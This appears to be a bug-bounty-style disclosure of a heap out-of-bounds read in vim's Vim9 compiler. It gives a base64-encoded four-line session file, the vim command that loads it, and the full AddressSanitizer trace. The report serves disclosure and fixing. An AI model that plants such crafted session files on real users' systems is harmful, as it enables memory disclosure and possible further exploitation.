Out-of-bounds Read in vim/vim

Valid

Reported on

Jan 4th 2022

Description

A heap-based OOB read of size 1 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash 9acf2d8be93f3b50607279e7f3484b019675d0a7) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

Steps to reproduce:

Clone the repo and build with ASAN.

Recreate POC session:

echo -ne "ZGVmIFMoKQpjYWwKZW5kZApkZWZj" | base64 -d > poc

Its content is:

def S()
cal
endd
defc

Load session:

vim -u NONE -X -Z -e -s -S ./poc -c :qa!

Sanitizer output:

=================================================================
==14605==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000007474 at pc 0x56239fd2affc bp 0x7ffc9578d870 sp 0x7ffc9578d860
READ of size 1 at 0x602000007474 thread T0                                                                                                             
    #0 0x56239fd2affb in compile_def_function /home/octa/vim/src/vim9compile.c:2789
    #1 0x56239fce7c98 in ex_defcompile /home/octa/vim/src/userfunc.c:4732
    #2 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #3 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #4 0x56239fa3be29 in do_source /home/octa/vim/src/scriptfile.c:1423
    #5 0x56239fa389f2 in cmd_source /home/octa/vim/src/scriptfile.c:985
    #6 0x56239fa38b76 in ex_source /home/octa/vim/src/scriptfile.c:1011
    #7 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #8 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #9 0x56239f4c3f56 in do_cmdline_cmd /home/octa/vim/src/ex_docmd.c:587
    #10 0x56239ffb074c in exe_commands /home/octa/vim/src/main.c:3080
    #11 0x56239ffa2293 in vim_main2 /home/octa/vim/src/main.c:774
    #12 0x56239ffa177b in main /home/octa/vim/src/main.c:426
    #13 0x7fd32c3a50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #14 0x56239f241d9d in _start (/home/octa/vim/src/vim+0x121bd9d)

0x602000007474 is located 0 bytes to the right of 4-byte region [0x602000007470,0x602000007474)
allocated by thread T0 here:                                                                                                                           
    #0 0x7fd32e33bbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x56239f24223e in lalloc /home/octa/vim/src/alloc.c:244
    #2 0x56239f242009 in alloc /home/octa/vim/src/alloc.c:151
    #3 0x56239fb4780b in vim_strsave /home/octa/vim/src/strings.c:27
    #4 0x56239fd2a0e9 in compile_def_function /home/octa/vim/src/vim9compile.c:2658
    #5 0x56239fce7c98 in ex_defcompile /home/octa/vim/src/userfunc.c:4732
    #6 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #7 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #8 0x56239fa3be29 in do_source /home/octa/vim/src/scriptfile.c:1423
    #9 0x56239fa389f2 in cmd_source /home/octa/vim/src/scriptfile.c:985
    #10 0x56239fa38b76 in ex_source /home/octa/vim/src/scriptfile.c:1011
    #11 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #12 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #13 0x56239f4c3f56 in do_cmdline_cmd /home/octa/vim/src/ex_docmd.c:587
    #14 0x56239ffb074c in exe_commands /home/octa/vim/src/main.c:3080
    #15 0x56239ffa2293 in vim_main2 /home/octa/vim/src/main.c:774
    #16 0x56239ffa177b in main /home/octa/vim/src/main.c:426
    #17 0x7fd32c3a50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/octa/vim/src/vim9compile.c:2789 in compile_def_function
Shadow bytes around the buggy address:
  0x0c047fff8e30: fa fa fd fa fa fa fd fa fa fa 06 fa fa fa fd fa
  0x0c047fff8e40: fa fa fd fd fa fa 00 02 fa fa fd fa fa fa fd fa
  0x0c047fff8e50: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8e60: fa fa 00 00 fa fa 00 00 fa fa 05 fa fa fa 00 02
  0x0c047fff8e70: fa fa 00 07 fa fa fd fd fa fa 00 07 fa fa fd fa
=>0x0c047fff8e80: fa fa fd fa fa fa 04 fa fa fa 02 fa fa fa[04]fa
  0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==14605==ABORTING

Impact

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.